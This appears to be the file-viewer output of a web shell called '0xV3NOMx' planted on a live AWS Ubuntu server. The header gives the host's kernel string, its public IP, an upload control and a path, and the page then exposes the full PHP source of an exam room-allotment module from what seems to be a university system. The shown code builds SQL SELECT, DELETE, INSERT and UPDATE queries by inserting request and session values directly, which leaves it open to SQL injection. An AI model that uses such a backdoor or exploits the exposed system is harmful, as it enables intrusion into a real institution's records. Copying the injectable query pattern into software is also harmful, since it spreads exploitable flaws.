0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.140.188.195


Current Path : /var/www/html/rcub/src/
Upload File :
Current File : /var/www/html/rcub/src/room_allotment.php

<?php
class room_allotment 
{
    
		function __construct($aobj_context)
		{
		session_start();
		$this->aobj_context=$aobj_context;
		$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
		$this->user_id=$_SESSION['user_id']	;		  
		$this->collcode=$_SESSION['collcode'];	
		$this->log_name = $_SESSION['usr'];			
		}
		 
		 	 
		function DisplayRoomAllotmentDetatils()
		{
			  
			$qp_code = ($this->aobj_context->mobj_data["qp_code"]);
			$ra_stu_cnt = ($this->aobj_context->mobj_data["ra_stu_cnt"]);
			$ra_from = ($this->aobj_context->mobj_data["ra_from"]);
			$ra_to = ($this->aobj_context->mobj_data["ra_to"]);
			
			$query2 ="  SELECT froomno,froomname FROM masroom
			WHERE froomno >= '{$ra_from}'
			AND froomno <='{$ra_to}' and fcollcode = '{$this->collcode}' order by froomno asc";	
			$rst2 = $this->aobj_context->mobj_db->GetAll($query2);
			
			$get_data="  SELECT FHALLNO,FCAPACITY FROM room_allotment
			WHERE FCOLLCODE='{$this->collcode}'
			AND FQPCODE='{$qp_code}' ";	
			$lobj_get_data = $this->aobj_context->mobj_db->GetAll($get_data);
			// To display room name 12/11/2016
			$qury="  SELECT froomno, froomname, fcapacity FROM masroom 
			where ifnull(fdeleted,'') <> 'T'  and fcollcode = '{$this->collcode}' order by froomno asc";	
			$rst = $this->aobj_context->mobj_db->GetAll($qury);
			
			foreach($rst as $rmk => $rmv)
			{
				$rmname[$rmv['froomno']] = $rmv['froomname'];
				$rmcapacity[$rmv['froomno']] = $rmv['fcapacity'];
			}	 
			//end 
			$existing_details=array();
			$cnt=1;
			foreach($lobj_get_data as $ak=>$av)
			{					
				$existing_details[$av['FHALLNO']]=$av['FCAPACITY'];
			}
			$str_reval.="<br>";
			$str_reval.="<table style='padding:3px 4px 3px 3px;' class='tr_ventor_row' id='reval_table_data' width='50%' border='0' cellspacing='0' cellpadding='0'>";
			$str_reval.="<tr class='tr_bg1'>";
			$str_reval.="<td align='center' style=' font-size:12px; font-weight:bold; border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; border-top:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'>Hall No</td>";
			// To display room name 12/11/2016
			$str_reval.="<td align='center' style=' font-size:12px; font-weight:bold; border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; border-top:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'>Hall Name</td>";
			$str_reval.="<td align='center' style=' font-size:12px; font-weight:bold; border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC; border-top:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'>Capacity</td>";
			$str_reval.="</tr>";
	 
			$k=0;
			$sl_no=1;
			$total=0;
			$pretotal = 0;
			for($i=0;$i<count($rst2);$i++)
			{
				//$hall_no=str_pad($i, 3, "0", STR_PAD_LEFT);  
				$hall_no = $rst2[$i]['froomno']; 
				$val=$existing_details[$hall_no];
				$hallname = $rmname[$hall_no];
				// To display room name 12/11/2016
				if(!empty($rmcapacity[$hall_no]) && empty($val))
				{	
					$val = $rmcapacity[$hall_no];				
				}	
				// end
				if(empty($val))
					$val=0;
				$total+= $val;
				if($k%2==0)
					$class='tbl_row1';
				else
					$class='tbl_row_alter1';
				
				// To break loop after max count 12/11/2016
				$currcnt = $ra_stu_cnt - $total;
				if($currcnt <= 0)
				{
					$val =  $ra_stu_cnt -($total-$val);
					$total = $pretotal+$val;
				}
				
				$str_reval.="<tr>";		
				$str_reval.="<td class='{$class}' style=' font-size:12px; text-align:center; border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; padding:2px;' >{$hall_no}</td>";
				// To display room name 12/11/2016
				$str_reval.="<td class='{$class}' style=' font-size:12px; text-align:center; border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; padding:2px;' >{$hallname}</td>";
				$str_reval.="<td class='{$class}' align='center' style=' font-size:12px; border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC; padding:2px; font-weight:bold;text-align:center;' ><input style='width:50px;text-align:right;' onblur='CaclulateRaGrandTotal();' onkeypress='return AcceptNumbersOnly(event);' type='text' value='{$val}' id='ra_input_{$hall_no}' /></td>"; 
				$str_reval.="</tr>";
				$sl_no++;
				$k++;
				$pretotal = $total;
				// To break loop after max count 12/11/2016
				/* if($currcnt <= 0)
				{
					break;
				}	 */
			}	
			$str_reval.="<tr>";		
				$str_reval.="<td class='{$class}' colspan=2 style=' font-size:12px; font-weight:bold;text-align:center; border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; padding:2px;' >Total</td>";
			 	$str_reval.="<td class='{$class}' align='center' style=' font-size:12px;font-weight:bold; border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC; padding:2px;text-align:center;' ><input id='ra_total' style='border:none;width:50px;text-align:right;background:none; font-weight:bold;border:none;' value='{$total}' /> </td>"; 
 
				$str_reval.="</tr>";			
		$str_reval.="</table>";
	 
		$arr['html']=$str_reval;
		echo $this->aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); 	
		}
		function SaveRoomAllotment()
		{
			$qp_code = ($this->aobj_context->mobj_data["qp_code"]);
			$ra_stu_cnt = ($this->aobj_context->mobj_data["ra_stu_cnt"]);
			$total_rooms = ($this->aobj_context->mobj_data["total_rooms"]);
			$FSESSION = ($this->aobj_context->mobj_data["FSESSION"]);
			 $FDOE = ($this->aobj_context->mobj_data["FDOE"]);
			include_once($this->aobj_context->main_src."/src/json.php"); 
			$json = new Services_JSON();
			$lstr_param = stripslashes($this->aobj_context->mobj_data["hall_obj"]);
			$mobj_jsondata = $json->decode($lstr_param);
			$obj_arr_data = get_object_vars($mobj_jsondata);
			$del="delete from room_allotment   
						WHERE FCOLLCODE='{$this->collcode}'
						AND FQPCODE='{$qp_code}' ";
			$lobj_del = $this->aobj_context->mobj_db->Execute($del);
			$hall_arr=array();
			$cnt=1;
			foreach($obj_arr_data as $hall=>$capc)
			{
				$insert="insert into room_allotment( FCOLLCODE,FQPCODE,FHALLNO,FCAPACITY,FLOGNAME,FLOGDATE,FDOE,FSESSION  )
							values (
							'{$this->collcode}','{$qp_code}' ,'{$hall}','{$capc}','{$this->log_name}',now(),'{$FDOE}','{$FSESSION}'
							)";
				$lobj_insert = $this->aobj_context->mobj_db->Execute($insert);	
				//var_dump($insert);
				$hall_arr[$cnt][$hall]=$capc;
				$cnt++;
			 
			}
			 
		if($lobj_insert)
		{		
			$get_student_cnt ="SELECT cd.FREGNO,cd.FEXAMNO,cd.FDEGREE,cd.FSUBCODE
								FROM canddet cd INNER JOIN subject s ON s.fdegree = cd.fdegree 
								and s.fexamno = cd.fexamno and s.FSUBCODE=cd.FSUBCODE
								inner join candsum cs on cs.FREGNO=cd.FREGNO 
								WHERE cs.FCNTRCODE='{$this->collcode}' and TRIM(FQPCODE)='{$qp_code}' 
								AND FPRESENT='P' and ifnull(cd.fpassmth,'') = '' and ifnull(cd.fthpr,'F') <> 'T'
								AND IFNULL(cs.FRECPTDATE,'0000-00-00')<>'0000-00-00' order by cd.FREGNO";//and FPRESENT='P'  and ifnull(FRECPTDATE,'0000-00-00')<>='0000-00-00'
		 $lobj_get_student_cnt = $this->aobj_context->mobj_db->GetAll($get_student_cnt);
		
		 $cand_det_arr=array();
		 $c=1;
		 foreach($lobj_get_student_cnt as $ak=>$av)
		 {
			 $cand_det_arr[$c]['FREGNO']=$av['FREGNO'];
			 $cand_det_arr[$c]['FEXAMNO']=$av['FEXAMNO'];
			 $cand_det_arr[$c]['FDEGREE']=$av['FDEGREE'];
			 $cand_det_arr[$c]['FSUBCODE']=$av['FSUBCODE'];
			 $c++;
		 }
		  
		 $reg_no_arr=array();
		 $tot_nos=0;
		 for($i=1;$i<=count($hall_arr);$i++)
		 {
			$h_arr=$hall_arr[$i];
			foreach($h_arr as $hk=>$hv)
			{
				$hall=$hk;
				$capc=$hv;
			}
			if($i==1)
			{
				$reg_no_arr[$hall]['start']=1;
				$reg_no_arr[$hall]['end']=$capc;
				$tot_nos+=$capc;
			}
			else
			{
				$reg_no_arr[$hall]['start']=$tot_nos+1;
				$reg_no_arr[$hall]['end']=$tot_nos+$capc;
				$tot_nos+=$capc;
			}
		 }
		 foreach($reg_no_arr as $hallk =>$hallv)
		 {
			for($z=$hallv[start];$z<=$hallv['end'];$z++)
			{
				$FREGNO=$cand_det_arr[$z]['FREGNO']; 
				$FEXAMNO=$cand_det_arr[$z]['FEXAMNO']; 
				$FDEGREE=$cand_det_arr[$z]['FDEGREE']; 
				$FSUBCODE=$cand_det_arr[$z]['FSUBCODE']; 
				$update =" update canddet,candsum
							set canddet.FHALLNO='{$hallk}'
							where  
							canddet.FCOLLCODE = candsum.FCOLLCODE
							and canddet.FDEGREE = canddet.FDEGREE
							and canddet.FREGNO = candsum.FREGNO
							and candsum.FCNTRCODE='{$this->collcode}'
							and  canddet.FREGNO='{$FREGNO}'
							and  canddet.FEXAMNO='{$FEXAMNO}'
							and  canddet.FDEGREE='{$FDEGREE}'
							and  canddet.FSUBCODE='{$FSUBCODE}'
							";
			 	
				$lobj_update = $this->aobj_context->mobj_db->Execute($update);	
 		
			}
		 }
		  
		 
			$data="Update Successfully.";
			echo $this->aobj_context->mobj_output->ToJSONEnvelope($data,0,"success"); 				
		}
		else
		{
			$data="Failed";
			echo $this->aobj_context->mobj_output->ToJSONEnvelope($data,-1,"failure"); 		
		}
	}	 
 }
	
function DisplayRoomAllotmentDetatils($aobj_context)
{
    $class_obj=new room_allotment($aobj_context);
	$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); 
	$class_obj->DisplayRoomAllotmentDetatils();
}function SaveRoomAllotment($aobj_context)
{
    $class_obj=new room_allotment($aobj_context);
	$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); 
	$class_obj->SaveRoomAllotment();
} 

// function getRoomdetails($aobj_context)
// {
// 	$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); 
// 	session_start();
// 	$collcode = $_SESSION['collcode'];	
	
// 	$query = "select froomno as id, froomname as value from masroom 
// 			where fcollcode = '{$collcode}' and ifnull(fdeleted,'') <>'T' order by froomno";
// 	$rst = 	$aobj_context->mobj_db->getAll($query);	
	
// 	echo $aobj_context->mobj_output->ToJSONEnvelope($rst,0,"success"); 
// }
function getRoomdetails($aobj_context)
{
	session_start();
	$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); 
	$collcode = $_SESSION['collcode'];
	
	$query = "select froomno as id, froomname as value from masroom 
			where ifnull(fdeleted,'') <>'T'
			and  fcollcode = '{$collcode}' order by froomno ";
	//var_dump($query);die();	
	$rst1 = 	$aobj_context->mobj_db->getAll($query);	//forder,

	$query = "select fdeggrp as id, fdescpn as value from deggrp 
			where ifnull(fdeleted,'') <>'T'";
	//var_dump($query);die();	
	$rst2 = 	$aobj_context->mobj_db->getAll($query);
	
	$query3 = "select distinct s.fsession as id,concat(r.FDESCPN,' (',s.fsession,')') as value from subject s inner join 
	reason r on s.fsession = r.FREASONCD
	order by s.fsession";
	$rst3 = 	$aobj_context->mobj_db->getAll($query3);

	$rst['room'] = $rst1;
	$rst['deggrp'] = $rst2;
	$rst['session'] = $rst3;
	echo $aobj_context->mobj_output->ToJSONEnvelope($rst,0,"success"); 

} 	
?>